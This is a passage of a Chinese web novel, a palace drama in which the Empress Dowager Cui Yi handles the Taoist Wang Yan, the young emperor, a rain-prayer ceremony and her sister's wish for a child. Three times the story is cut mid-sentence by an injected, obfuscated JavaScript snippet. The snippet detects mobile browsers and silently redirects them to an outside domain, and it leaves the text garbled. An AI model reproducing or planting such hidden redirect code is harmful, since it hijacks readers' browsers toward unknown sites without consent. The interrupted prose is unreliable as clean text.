这世道能挣上一口饭吃就是撞了大运,出了上京就是累累白骨,但崔仪生来就这个性子,如何改去。 只是此时不宜与王厌争论,他早晚也会想清楚她究竟是何性情,崔仪不想吓坏他,提起昨日之事:“不知你昨日可有替我抄书?” 王厌果然道:“自然,行军之人时时惊梦,太后不必多虑。” “你也知晓此事?”她感到稀奇,“我还以为你眼中只有道家经书和风花雪月。” 王厌这才有几分薄怒,眼眸定定望着他,正色:“师父时常让我们为了百姓和将士们抄写经书。” 说到这里崔仪有了些印象:“也是,依稀记得你曾与我说,会随着同门下山施粥。” 只不过王厌做不来这样的粗活,身旁还有奴仆相随。 除此之外,他也不能离粥棚太远,被人严加看守,生怕哪个流民暴起伤人。 王厌犹有怒色:“在你眼中,难不成我就是个不知人间疾苦之人?” 他自认对天下苍生尚有怜悯之心,为何在崔仪口中,仿佛他对这些全然不在乎。 崔仪听笑了:“你是与不是都不重要,反正王太傅巴不得你不知人间疾苦,他期望你什么也不知晓,只要安心在观中清修。” 说是清修,除了吃食以外,其余用物都相当奢靡,崔仪这才想笑。 自小到大,王厌岂会不知崔仪说的都是真的,他一时无言,崔仪继续道:“既然你也见过百姓的亡苦,我正有一事要告诉你。凉州数月不曾降雨,天降大旱,你师父请你回观开坛。不过这回起坛,断不能如从前那般浪费,如今朝内百废待兴,需为国库做打算。” 一连数日被禁于宫中,王厌本能地松了口气,也不会去细想个中开支,他从前就没过问,如今更不会问起。 他并非厌恶崔仪,只是更担忧事迹败露,引火烧身,到时她一个女人如何自处,岂不受天下人所指? “何时回去?” 他的面色犹如拨云见日,说起话都不自觉温和许多。 崔仪见此,只当他迫不及待要离去,心中冷意更甚,强行按耐,只道:“届时自会请你出宫,你这几日好好歇着吧。” 王厌颔首,又随崔仪在后园中转了转,春意将浓,不日就是一片姹紫嫣红,两人虽无言,氛围比前几日要好不少。 他瞧瞧用余光看她,却不适宜地想起那一日她逼他下跪,心中的苦涩再次翻涌,想问她究竟如何看他,又不忍扰乱二人难得的和睦。 自后院出来,崔仪正要让人送王厌回宫,却见卫秀带着一群宫人姗姗来迟。 他连朝服也未换下,走动间冕珠声若玉鸣,形色匆忙。 见崔仪只着便服、气色尚好,卫秀这才缓了口气,行礼上前:“母后。” 他只当没看见王厌,崔仪使了个神色让太监送王厌回去,继而迎上卫秀:“陛下怎么来了?” 卫秀站直身子,道:“今日上朝不见母后踪影,又听人来报说您病了,儿心中担忧,特来看您。” 崔仪看他言语之间不像做假,柔声道:“我不过是借故推脱,今日心中烦闷,在宫中散心。” 心中烦闷须得叫上王三么?卫秀瞥了眼王厌离去的背影,眼神飘忽,最终只道:“母后无碍是最好,今日您不在朝前,儿不知如何应对。” 两人边说话,边往宫内走,时近午间,相约去卫秀宫中用膳。 崔仪听他这样说,试探道:“朝政之事我不过代管,陛下乃当今天子,岂能万事都等着我来做?” 她说着,用目光又打量卫秀。 他如今刚开始长身子,个头和崔仪差不了多少,腰身纤细,脸庞清瘦下颌尖尖,巴掌大的脸上生了双桃花眼,模样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812546|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生得不大安分,崔太师就曾私下说过卫秀油头粉面、怯懦畏缩,不似人君。 天子嘛,应当是威严高大,和卫秀这样唇红齿白整日啼哭的作态相去甚远。 幸而他仪态端庄,否则还不知要被内臣说成什么样子。 卫秀不知崔仪在想什么,闻之色变:“母后这话是何意?您是太后,天下人皆以孝当先,我既为天子更应当以身表率。父亲去了,我只能向您尽孝,家事国事,由您过目,才是理所应当。” 崔仪也不知他这话说得是真是假,从前她不是很在乎卫秀此人,也没仔细琢磨过。 “陛下此话言重。”她想了想,“若非挂孝,陛下的年岁已能成家。” 卫秀懵懂:“成家是何意,难道成了家,母后就不是母后了?” 他连这话都问得出口,崔仪失笑,不再多言。 行至宫中,卫秀先行去更衣,惜云和她一同看着湖景,疑惑道:“太后先前不想王厌前去开坛,如今怎么又主动告知他此事?” 崔仪接过她递来的鱼食往湖中洒落:“他若不去,我又怎么能让王太傅见到他?” 惜云仍然不解。 崔仪只道:“何况,让他去了,说不定凉州真会降雨……王厌生时就有异象,此乃祥瑞之兆,从前的祈雨,他若是去了,倒当真比往常灵验。” 这听起来就稀奇了,惜云讷讷道:“天下竟有如此奇人?” 所有的祭祀与开坛祈福之事,若王厌在场,都会更灵验些,再加之太清道观名声在外,也不怪王太傅将他当个宝。 卫秀更衣回来,与崔仪一同用膳。 他吃得倒丰盛,许是正在长个头的缘由。 膳房知道太后在陛下宫中,将她用惯了的碗具一同送来,崔仪转了一上午,吃得比平时多些。 饭后,崔仪本想约祝令梅进宫,卫秀却命下人退下,正襟危坐似有话说。 “何事?” 见他这阵仗,崔仪心中已猜出几分。 果不其然,卫秀轻声:“昨日太傅至儿子宫中议事,母后可知晓?” 崔仪道:“太傅乃是朝中老臣,辅佐陛下人尽皆知。” “他……”卫秀为难道,“他问了我许多事,事关道长与母后,还问了……” 他似是有难言之隐,崔仪让他但说无妨,这才道:“还训斥我大丈夫立足于天地,怎可受制于妇人。他误以为我手中有兵马,特来使出挑拨离间之计。” 崔仪佯装惊怒:“无耻老贼,竟妄图挑起我儿与我的祸端。” “儿子也这样想,”卫秀不断点头,细细说来,“只不过,我见这朝中多是他的门生,与他翻脸,传出去有损名声。于是,我假意应承,敷衍于他,母后须知如今他手中已无什么实权,不足为惧,我只想看看他还有什么法子,若要动他,也得徐徐图之。” “陛下说的这是什么话,太傅德高望重,谁要动他?” 卫秀似懂非懂,怔怔道:“母后所言极是。” 17. 兄弟 一同用膳后,卫秀说了些早间上朝之事。 如崔仪所想,来上朝的官员并未说要什么紧要之事,卫秀处理起来很生疏,但尚能应对。 又不是她当皇帝,崔仪在心中盘算着往后每月休哪几日。 否则等到了寒冬,披着寒风雪露、为陈芝麻烂谷子的事晨起去上朝,岂不是要累死她。 天色尚早,卫秀宫中的水榭景致尚好,她索性又坐了会儿。 卫秀如今还在学功课,卫泠曾有让太傅教导他的意思,只可惜还没安顿好人就走了。 崔仪低眸看着腕间的珠串出神,细想之下,卫泠应当对生死之事早有预料,岂会连诏书都没留下一封?这人事无巨细,尤其是身处这样重要的位置…… 她兀自思忖,卫秀抱着书卷道:“昨日太傅问我的老师是谁,得知还不曾有人选,说要为我挑选个老师。” 崔仪回过神:“他可曾说要举荐何人?” 卫秀道:“无非是从几个老臣中选出来。” 这倒是她没想到的:“我还当他要亲自教导你。” 尊师重道,尊师亦是孝,若要拉拢卫秀,亲自教他无疑是最优选。 许是说中要事,卫秀自愧道:“太傅德高望重,桃李天下,看不上我这样的学生。” 他要继续说下去,却被崔仪斜了一眼:“陛下是天子,是万民之主,怎可如此自怨自艾?贵为天子,不可自轻!” 她说着,坐起身去看卫秀的神情,却见对方怔怔握着籍卷。 “话虽如此,又有几人真的拿我当皇帝看待?昨日朝间,母后也觉得我没用吧。” 他说的是宫中全无太清道观要祈福的消息,朝中大小事,总是外头的人先知晓,而后再考虑一下是否要让陛下过目。 在此之前崔仪已有预料,心中的恼怒多于责备,毕竟卫秀身边无人可用,怨谁也怨不到他身上。 她起身欲要回宫,道:“陛下初登基,羽翼还未丰满,万不可操之过急。” 卫秀不再多言,送她出去。 至宫中时,正是晴阳当空,明晃晃的日光让崔仪眯起了双眸。 太监正要去拿竹盖,却被崔仪制止。 她用手掩在额间,随意道:“去请祝令梅进宫。” 惜云紧步跟随:“崔太师也要进宫请见。” 二人已进殿内,崔仪放下手道:“那又如何,又非为做什么见不得人的事。” “是。” 整日在宫里无趣,好不容易把祝令梅等过来,崔仪想与她单独外出游猎,好好松懈一番。 祝令梅听闻消息,当即应下,换了身衣裳就随太监进宫,又在宫门口撞见了崔太师和崔明意。 还不等她行礼,崔明意那漆黑的眼珠就停也不停地落在祝令梅身上。 “太师。” “祝军师。”崔太师看了眼宫门,“进宫去见太后?” “正是。”祝令梅刻意隐去二人要外出纵马之事,她不知崔仪和太师的关系究竟如何,只想着多一事不如少一事。 崔太师也没多问,带着崔明意走在前头,只不过走着走着,崔明意的步子就慢下来,逐渐与祝令梅并肩而行。 此女有些古怪,祝令梅在心中暗想,不着痕迹地打量她几眼。 上回宫宴她也见过崔明意,对她尚有印象。 今日见她乌发螺鬓,白衫绿帛,举手投足斯文秀雅,比起上回狩猎,少了几分凶狠劲。 祝令梅甚少评论旁人的外貌,只是崔明意虽长了一双鹿眸,却眼眸如墨,冷冷凝人,有些瘆意。 “我与女郎认得吗?”祝令梅忍不住问,“何故一直望我。” 瞎了一只眼睛后,祝令梅就不喜外出,尤其是行走于街头闹市时,总有人回眸惊奇望她,要不是念在崔明意是崔仪的妹妹,她恐怕已经发作。 “对不住,”崔明意小声道,“我只是在想,姐姐行军时应当与你关系很好,她身边甚少结交朋友,一时有些好奇……” 并非在看她的眼睛,祝令梅意识到错怪了崔明意,语气好了不少:“军中只有我们两个女人,我与太后自然亲近些。” 崔明意不知在想什么,点了点下巴,不再多言。 行军中,祝令梅曾经听崔仪说起过族中同辈的概况,说她姊妹兄弟在上京中算少的,其中崔明意颇有文采,受母父器重。 比起那些食不果腹的贫苦百姓而言,崔仪的日子过得很不错,祝令梅心想世家大族的庶女都如此,按道理说,嫡女只会更金贵些。 关外百姓都说京中贵女大门不出二门不迈,祝令梅也想当然如此。 出乎所料的是,那日狩猎,崔明意展露出极强的好胜心。 崔仪只淡淡来了句家中尚武,似是不想多说关于这个妹妹的事,祝令梅就停了嘴。 这会儿和崔明意并肩而行,先前有了误会,祝令梅心中内疚,一路上待崔明意摆出不少笑脸。 一行人至太后殿内,祝令梅随着宫婢在亭中赏景,等着几人叙完事。 崔太师趾高气扬进了殿内,却见崔仪正在擦拭弓箭。 她所使的弓威力甚大,与身长近乎无异,自从摆到书房后,崔仪总不放心,时不时拿出来瞧一瞧、摸一摸,再用巾布小心擦拭。 太师见她如此,不顾宫女太监们在场,冷声道:“又在摆弄这些凶器。” 崔仪抬眸去看,手心一紧,这才笑着让惜云领宫婢们退下,独自上前:“这是说的什么话?若非擅弓,我又怎能在军中杀人。” 太师冷哼一声:“我将要离京,起坛之事由你掂量,若是遇上不懂的,也好问问明意。” 崔明意唤了声姐姐。 “明意时常去观中,与老道长相熟,”太师道,“礼官之中有阉狗势力,你要仔细些。” 太监虽无官职,但整日待在宫中与天子近身,久而久之也就发展出朋党,这样的事屡见不鲜。 崔仪颔首道:“不若妹妹来我宫里,虽不能当奴当婢,也能如这些阉人一样,方便许多。” “你要明意进宫做婢女?还是做官?”太师急声斥责她,“荒唐,自古以来何曾有世家女进宫为婢之事,还是给自己的姐姐。” 他气急时,胡子都往上扬了扬。 崔仪反问道:“这有什么不好,妹妹进宫探望姐姐很奇怪么?既无官职,也非奴婢,却能在宫中与朝臣间更近些,也好帮衬我。” 她看向崔明意:“你说呢?” 崔明意哪会不知姐姐这是怪罪父亲插手的事太多,可她今日进宫并非为了此事,委屈道:“我已是臣妇,如何能长久地在宫中住着?姐姐聪慧,这些事也不用我帮忙。” 她不说,崔仪总要忘记她已成婚的事,于是叹道:“父亲也听见了,明意已与谢家子完婚多年,怎么能让她再做这些事。” 谢既不管她,谢家不敢管她,崔明意在心中偷偷想。 太师不肯让步:“你在宫中,身边没有信任的人、没有心腹帮衬,走不长远。” “女儿明白,您不就在帮我么?”崔仪笑着给父亲递茶,“我知晓你怕我在深宫中孤立无援,不必担忧,我自有主意,就是真出了事,我还有家中的其他长辈可以随时召进宫。” 见她态度如此,崔太师也缓和不少,只是摇了摇头:“你身处要位,要学会用身边的人。明意虽已出嫁,但如今崔谢有通家只好,你若是遇了难处,尽管开口。“ 崔仪不仅谢过父亲,还向妹妹道谢,崔明意连连摆手。 太师吩咐完事情,还要与朝臣碰面,比崔明意走得早些。 姐妹两人在殿内独处,崔明意坐了会儿,将手放在膝盖上,一声不吭地盯着崔仪。 “姐姐,开坛祈福,是不是要将那位小道长送走?” 崔仪心想她早晚会知晓,便道:“不,只是让他去露个面,事后仍要回宫中。” 求雨卜卦一事多是老道长亲自动手,王厌和其余弟子需要在场诵经,崔仪看来有没有王厌都无所谓,只是太清道观和外人并不这样想。 崔明意张了张口,清澈的双目有些疑惑:“为何要将他留在宫中,王厌此人肩不能挑手不能提,粗通文墨又没见识,难堪大用。” “你倒是问对了。”崔仪哑然失笑,“难道他名冠天下,不是因为这天生的异香与皮囊么?” 崔明意更茫然,狐疑地望着她,忽地站直身子,伸手指着崔仪道:“你……你这是何意?” 崔仪见她大惊失色,只当她被这忽如其来的暗示给吓坏了,遂道:“一时戏言,怎么还当真?可不要胡乱声张出去。” 她知道崔明意不可能将这没头没脑的事往外说,崔明意却已将姐姐的反常之举串联到一会儿。 以往从没想过的事,如今一看竟十分可信。 她瞠目结舌地出了宫,回府上时,谢既正在与友人玩耍,崔明意也没让人通报,独自回了院子,不断回想姐姐所说的戏言,又琢磨着近来发生的事。 满腹心事地做了半晌,府医来了。 见府医来此,崔明意的脸上终于挂笑:“大夫快坐。” 她对上回的求子之事胸有成竹,只等大夫一声通报,府内立刻就能张灯挂彩,红绸罗布早已买好。 怀着满心雀跃,崔明意伸出手腕。 只是不过半刻工夫,大夫就摇了摇头。 他这无声的举措,让崔明意身形一晃,婢女赶忙扶住她:“大夫可是看错了?” 为保万无一失,婢女又领了另一个老先生来,所得的答复却是一样。 多日的期待又扑了空,崔明意面如死灰,手也不曾伸回,就那样横于桌面,将脸枕上去,静默流泪。 福真见她如此,不敢轻易上去劝她,只好让人去请谢既过来。 那头的谢既只听了个大概,心中已有数,连忙让下人将好友送出府,一路奔回与崔明意的院子。 他都做好了被崔明意当头就是一巴掌的准备,可推开房门,只见妻子将头垂在桌上,清瘦的身躯在桌案边伏着,地面上晕出细长的影子。 谢既心中暗叫不好,上前将人扶到怀里。 “夫人,为这样的小事,何须伤怀。” 人被他抱起来,才看清脸上明晃晃的泪。 崔明意脸色惨败,唇上似刷了层白霜,看得人触目惊心。 她见来人是谢既,将脸埋到他胸口痛哭:“这都是什么孽啊,究竟是造了什么孽,我要受这样的报应,叫你我二人难求一子……” 谢既不会安慰这样的妻子,往日里崔明意心头不快都是对他拳脚相见,今日如此孱弱,可见心中郁闷至极。 他抓起崔明意的手往自己脸上贴:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823752|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那你打为夫出出气,有孽也都算在我头上。夫人这样好的人,什么报应也没有。” 崔明意无力地抽回手,仍然抓着他的衣襟抽泣,好一会儿才停下来,幽幽目光落在谢既的身下。 久久没动作,谢既低头去瞧,却见妻子正低着脸顶着他腹下,他迷糊道:“何故盯着此处?” 崔明意悄声:“夫君,会不会是你有问题?” 这话问得叫人无地自容,谢既也惊了,干巴巴道:“大夫也给我瞧过,你我二人身子无恙,只是时机未到。” 这都是三年前的话了,崔明意抓着他的胳膊,紧了紧动作:“说不定你有先天之病,天生无子。” 谢既想了想:“也好,这样说,母父那边就交了差事,也省得二老挂念。” “谁是为了这些?”崔明意抬头瞪他,“若是你不行,那你让我找旁人去。” “……”谢既睁大眼,不知说什么。 他一手还护着崔明意的腰,崔明意坐在他身上不舒服,挣着要站起身:“走开,我已想到法子了,决计是你身子不对劲。我必须得有个孩子,无论你允不允,若是不想事情闹大,就由你亲自去找几个男人来……要精壮的!能生的!不能生的我要了何用?还要……唉,不成,若是外族人,往后模样不似你我,惹人生疑……不如就将你的那些个弟弟哥哥带到我面前来,反正也到了岁数……” “不行!不行!” 谢既总算找回嗓音,气得要跳起来:“不可,此事决计不可,你怎么能有如此荒唐的念头!我不能允下!” 两人面面相觑,崔明意白他一眼:“看你那小家子气!我还不是为了能有个孩子。你们谢家的几房都没动静,趁你余下那几个兄弟还未成家,一同送我房里来,生出来反正也跟你们谢家姓,不还是你的孩子?” 这些话在谢既耳边不亚于催命:“不生了,你跟别的男人生孩子,怎么能是我的!总之我也不喜欢孩儿,不生得好。咱们就两个人过日子,待死后一把火烧成灰,混在一块儿下土。” “看你这没出息的样子,”崔明意道,“绵延香火是天经地义的事,不为家中绵延子嗣,百年后又有何颜面面对列祖列宗。你身为家中嫡子,怎么连这样的道理也不明白?再者,从我肚子里出来的,不就是你的孩子?当今天子甚至是抱养的宗亲,都不是从我阿姐肚子里出来的,又有谁敢说他不是阿姐和先帝的儿子?真是懒得与你多费口舌,就照我说得做。” 谢既听得肝胆俱裂,闭目道:“你才是祖宗,你饶了我也罢。陛下的情况与你我怎能相提并论,最紧要的是我身子并无任何不妥,你若是不信,再找个高明的大夫来看就是,这样的话千万不要再说。” 他顿了顿,上前揽住崔明意:“你想怎么都成,就是别用这样的事吓唬我。” 边说,谢既暗暗在心中谋划如何将那几个尚未成家的兄弟打发出去。 无怪这几人往日宴席总是借着赏词作诗的借口与崔明意搭话,昔日他只当妻子的才女之名在外,家中人亦是敬佩。 今日方知居然还有这样一出,一时间谢既连几个兄弟赴宴时都穿过什么衣、戴过什么冠都回想起来。 难怪,难怪!那些素日不舍得穿的华服美饰,一到家中赴宴,就恨不得都张扬在外,连行事节俭的三弟都会拿出最奢贵的衣冠见人。 这几个兄弟久不成家,原来是些心机颇重的贱人,居然引诱他的妻子。 崔明意被他抱得太紧,一把将他推开:“谁在吓唬你,如今子嗣为重,你应当帮我牵桥搭线,而不是在此处无理取闹。” “你就是闹到长辈那边去,她们也不会帮着你。” 谢既气都气晕了:“你……我那个几个兄弟若是敢进你房里,岂不是……做这样的丑事,家中岂能容下这儿戏?” “当今天下,子嗣为重啊。”崔明意捂着心口道,“连年战乱,百姓受苦,京中也只管今日之乐不想明日之苦,谁也生不出孩子。我不一样,我若是有了孩子,那一定是添福报喜……如今战事停了,该生一些了。” 谢既听得头昏脑胀,费力道:“生生生,满口就知道提这些事,你……罢了,总之我身子无碍,你不要允旁人进你房里。家中也不曾急着催,咱们再试试。” 他说着就又将崔明意抱到怀里,打算和她一块儿去洗沐。 “走吧,看你方才哭得那样惨,正巧我也玩了整日,咱们一块儿去洗洗。” 崔明意任由他抱着,并不接话。 廊下的侍女们都回避了,只有谢既一个人的脚步,他抱着崔明意,好一会儿又说:“这样的话,再也不要提。” 崔明意仍然不语。 “好夫人,快应下我,你若是那样做,还不如要了我的命去。” “……” 崔明意哭累了,也是说累了,这会儿在他臂弯中静默,脑中思索着要如何做最妥当。 家中不催着生孩子,是因大伙儿都难见得有几个能怀上的。 一旦有了,那必然是天大的喜事。 崔明意一生力求外人眼中的完美无瑕,怎么好因子嗣之事落人口实,只是谢既说得也有道理,与外男结识生的孩子固然是她的,可这京中人多口杂,旁人能传出难听的话,她可不能。 此事若真要实施,一定要谨慎小心。 …… 18. 担心 送走了父亲和妹妹后,崔仪连忙让祝令梅进殿。 祝令梅早就在亭内看得无聊,这会儿踏足殿内,见到她刚擦拭好的弓箭,比狩猎那日,此时靠得更近一些,也瞧得更清楚。 “哈!此弓之威力,让我久久不能忘怀。” 真正的战场上,使这样弓箭的机会不多。弓这种东西若要发挥十成的威力,弓身必然大而沉重,又容易脱手,寻常人即便箭术精准,在颠簸的沙场上也没那样容易射中,寻常军队中配备的弓箭手也在少数。 须知有那费力拉弓的功夫,长刀早就砍到敌军的脑袋上了。 崔仪是那个奇特的意外,在她抵达军营之前,就已有人提起了她的名字。 长戈山是旧营,精兵居多,有些许人听说过崔家女郎崔仪的准头,跃跃欲试后都铩羽而归。 来自上京的军将则会提起,京中人又是如何被崔仪折损颜面,同龄人刚能站着找好准头时,崔仪已能在马背上精确不差地射中目标。 只不过崔仪的短处也很明显,她只能远攻,近战拳脚功法平平,多利用身形避招保命。 “这把弓才是真正的功臣,助我杀了不少人。”崔仪遗憾道,“只不过如今战事平定,弓还在,手头却没有那样锋利的箭。” 足以穿透敌军铠甲的箭,自然是精铁打造,极为稀有,光一个足够锋锐的箭头就抵得上许多百姓几年的开支,崔仪固然惆怅,却也不舍再那样铺张,用别的箭头过过瘾也不错。 “玩儿玩儿别的就好,你的那些箭,能收回来的都在军库中。”祝令梅迫不及待,“走吧,总闷在城中多没意思,就是围猎也只不过是些寻常野物,不值一提,咱们当初可是猎过老虎的。” 饿急了什么都想吃,更别提大补的虎肉,崔仪回想起当日吃的滋味,点点头。 此次出宫一切行简,她将惜云也留在了宫中,一身便装就要和祝令梅外出。 惜云很不安,苦心劝导:“太后要出宫是小事,也得带几个护卫,否则遇上流民可如何是好?” 崔仪心意已决:“遇上流民?一来我与祝军师身手未必输过去,二来,庸政将百姓逼成流民,天下兴亡,我更要出城去看。” 她的脾气惜云很清楚,只好目送崔仪与祝令梅出宫。 从偏门抄小道走,二人戴着幕篱遮住了容貌,巡逻的侍卫见有人在宫中纵马,横道盘问,崔仪只拿出太后令牌,也不管那护卫可曾反应过来,跃马而过。 从大路转向小路,再奔出城门。 天色尚早,玩两个时辰还赶得上关城,崔仪和祝令梅直上山林间,身形很快隐入其中。 “京郊的林子,也比外头好上许多,至少秀木成林,可做景观。”祝令梅道,“外头的山,光秃秃见不到几棵树,要偷摸砍些柴火回去都没处使力,只能干瞪眼望着。” 崔仪解下幕篱系在马背上,眼前的路径愈发熟悉,再往不远处的另一座山眺望,就见那郁郁葱葱的半山腰处,落了坐香火绵延的道观,无家可归的贫民会在小径上徘徊,等着道观开门施粥。 “我当初在对面山野的林中骑马……射箭射死了一只鸟。” “射完箭我就后悔了,稚雀无辜,想把它带回去医治,不过那鸟落在了道观的后院中。” 祝令梅听得懂:“你翻墙进去,见到谁了?那传言中的王三公子?” 军中有上京人,闲来无事曾说过奇闻逸事,更不提王厌这人本就是天下皆知。远在边关的百姓也知晓有这么生含异象的郎君,容姿无双。 崔仪只笑:“如今看来,那一支箭,射死的却是两只鸟儿。” 她抽马鞭下去,驰骋于野,祝令梅不想示弱,也即刻跟了上去。 林中并未见到森然白骨,只是猎物也不多,不知是被百姓偷偷抓走还是跑去了别的林子,忙活了半天,崔仪与祝令梅都没抓到什么稀罕物,箭矢射了几支,射在了耗子身上。 也未见什么流民,除了山头上的饥荒百姓,崔仪也不知从前那些游荡于京郊的苦难之人去了何处。 等祝令梅去了凉州,还不知能否返京,如无意外,她会直接回到长戈山,二人难得一见。 崔仪在上京没几个能说上话的,倍感寂寞,有些不舍,可她不能将祝令梅一直困在此处陪她玩乐。 两人意兴阑珊地道别,崔仪独自回了宫里,让惜云备水。 正值黄昏,她出了身热汗,还不算累,在浴房待了许久,再出来时,惜云在殿内等她,说是王厌求见。 这真是稀奇了,王厌竟主动到了她宫里求见,崔仪想了想,应当是为了祈福之事而来。 她让人在外等着,进了寝殿更衣,收拾妥当后才在正堂面见。 晨间才与他见面,这会儿他还穿着白日的衣裳,往地上一跪,似玉兰散开叶瓣,透出淡淡香味。 “你怎么来了?” 崔仪在玩游玩时出了身汗,又在浴房待了那样久,早就口干舌燥,等不及惜云沏茶,饮了两口。 她让他起身:“来此,是听说了你师父要起坛的事?” 王厌站起身,轻声:“求雨并非小事,我想求太后恩准,放我先回观中帮师父师兄做准备。” 崔仪倒也无心嘲讽他,而是真的好奇:“你在观中,当真有亲力亲为之事?除了念经抄书,应当不用做什么重活。” 这话说得的确不错,王厌窒在原处,好一会儿才道:“话虽如此,但起坛是要事,尤其是事关民生。从衣冠到经文用纸都要提前挑选备下,不可出差错。” 听起来实在合情合理,崔仪在软靠中思索,半晌,拿定了主意。 “既如此,就将你的师父师兄也请进宫中好了,”她放下茶盏,“此次求雨,陛下于我亦会前往,届时还能一块儿出发。” 王厌没想到她会有此提议,迟疑道:“这……听起来是可行,只是不知师父是否会同意。” 崔仪见过他所谓的师父,另一种老头而已。 在她眼中,这世上有两种老头,她爹和王太傅是一种,王厌的师父是另一种,人将入土却还整日忙个不停,什么活儿都抢着干。 虽为道长却并不仙风道骨,成日耕田锄地与农夫无异,崔仪对他印象还不错。 在许多老头中,崔仪见的最多的就是高谈阔论、口若悬河之辈,用嘴皮子感慨民生艰难,用的一团茶叶是百姓人家一辈子都买不起的价钱。 她以前其实不在乎这些,生来优渥是她的大幸而非短处,她应当好好享受,至于什么天下民生,自然是不在她的考虑中。 “他岂会不答应?我修书一封,送到他面前去,你且等着吧。” 王厌自认为二人关系稍缓和了些,且他此刻也并非一定要回到观中,师父和师兄弟能过来也可以,于他而言并无不同。 他谢过,崔仪问他:“是太傅给你传了消息?” 王厌点了点下巴:“午后太傅进宫面圣,陛下顺道带他来宫中看我。” “还有此事,”崔仪意外,意味不明道,“我竟不知陛下有如此的善心……” 不知是不是为了上回的事给王厌赔礼,她感叹:“这孩子自小就心善,上回的事,你应当不介意了吧?” 听她这样说,王厌的心中又不禁泛起些许酸涩和不甘。 当初,无论发生什么事,她都是向着他的。 对错真相有时不那么重要,人有时只想要那样一点偏重。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823753|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我岂敢责怪当今天子……”王厌吞下心中的苦涩,道,“天子年少,本心仁善,当日之事本就是误会,也并未造成什么后果。” 崔仪很满意,氛围又融洽几分,她关切:“继续养养身子,你如今也太瘦了些,叫你师父见了,只当宫中苛责你。” 诸如此类的话她对王厌说得不少,只不过先前的那段时日他十分排斥彼此的接触,也不会回应这样的话。 今日,他眨了眨眼,竟低声道:“我知晓,不会让师父担心。” 崔仪应声。 他想了想,又道:“太后也不必担心。” 这话轻若柳絮,站远些都听不见,崔仪正怀疑是不是听错了,王厌又从怀中拿出一卷经文。 “行军之人,多有梦魇,是因战事残酷,难以避免,太后提了之后,我已连夜抄写,置于寝殿,或有安神之效。” 这卷书册用绢布包着,上面不可避免地沾染了些许兰香,不过更明显的则是绢布上熏了许久的降真宁神香。 崔仪伸手接过,郑重收起:“多谢。” 王厌见她双手接过,不知怎么就待不下去,眼睛也不知要往何处看,行了个礼之后就要往外走。 崔仪本想喊住他,可实在又无话可叙,只好又停住了动作。 等将他师父请进宫,到时候也不怕见不到他。 往后的日子还多着,也不是非得今日就都得把话说完。 她将那绢布包着的经文拿出来看了又看,对于经文,她谈不上多喜爱,惊异更多,崔仪本以为王厌恨她,抄写经文也不会这样快。 这是意外之喜,她让惜云放到她枕下。 这一夜果然安然无梦,翌日早崔仪修书让宫人快马送信到太清道观,不曾想宫人回来时,连带着净明老道长也一同来了,连带着五六七八个崔仪并认识的道士。 净明道长只穿常服,袖口一只云鹤飞过,他向崔仪简略提了提几个徒弟。 这几个徒弟都是秋字辈,只有王厌道号叫幽玄。 崔仪注意到这一点不同,虚心请教:“我听说道士入门都与同辈师兄弟一个字……” 净明:“太后说得没错。” “那王三公子为何独独是这个道号?” 净明解释:“王太傅说他这个孙子与凡夫俗子不一样,岂可与他人用一个字。” 崔仪恍然:“原来如此,道长竟也答应了。” 净明朗声大笑:“那是自然,太傅为了让我答应此事,送了许多银钱。” 修道之人清心寡欲,可是济世救民是与此相悖的,净明道长从不避讳四处敛财之事。 崔仪淡然道:“道长胸襟开阔,非常人可比。” 这群道人动作极快,崔仪没想到他们会跟着书信直接下山,难免措手不及,短暂的思索后,打算留众人用膳。 净明却摇头道:“来者是客,本该随主,只是太后宫中的膳食,恐怕我们吃不惯。” 崔仪还没见过真正的道人都吃些什么,她召来内监记下去准备,净明也没跟她客气。 吃得是清淡,都是些寻常食物,且很清淡,不过五谷杂粮、各类的青素之菜要了不少,从份量上看,比王厌吃的那点儿鸟食要多得多。 崔仪先前为亡夫茹素了一段日子,如今说什么也不想再吃素斋,暗想着要让厨房另外备一些荤食,等宴席散后她再去用。 内监退下没一会儿,卫秀和王厌先后过来了。 卫秀免了众人的礼,请诸位移步到大殿用膳,落座也方便些,净明也允了。 唯独对王厌这个徒弟,只有他的几个师兄弟不冷不热地打了声招呼,净明甚至只是于他打了个照面,就转身离开。 19. 朱砂 崔仪又吃了顿素餐,面色不好。 她不是嘴馋,只是觉得好不容易争到如今的地步,不说山珍海味也得吃出些滋味才对,于是心生不满,叫惜云立刻去膳房另备些吃食送到她宫中。 堂上卫秀正在与净明道长交谈,除了道长外,另有几个王厌的师兄曾来过卫泠的法会,崔仪看着还算眼熟,因修道之人轻易不能饮酒,崔仪给他们都赐了茶。 她叫来太监曹志:“道长要操办祈福大典,你去跟在身边伺候,一切听他吩咐。” 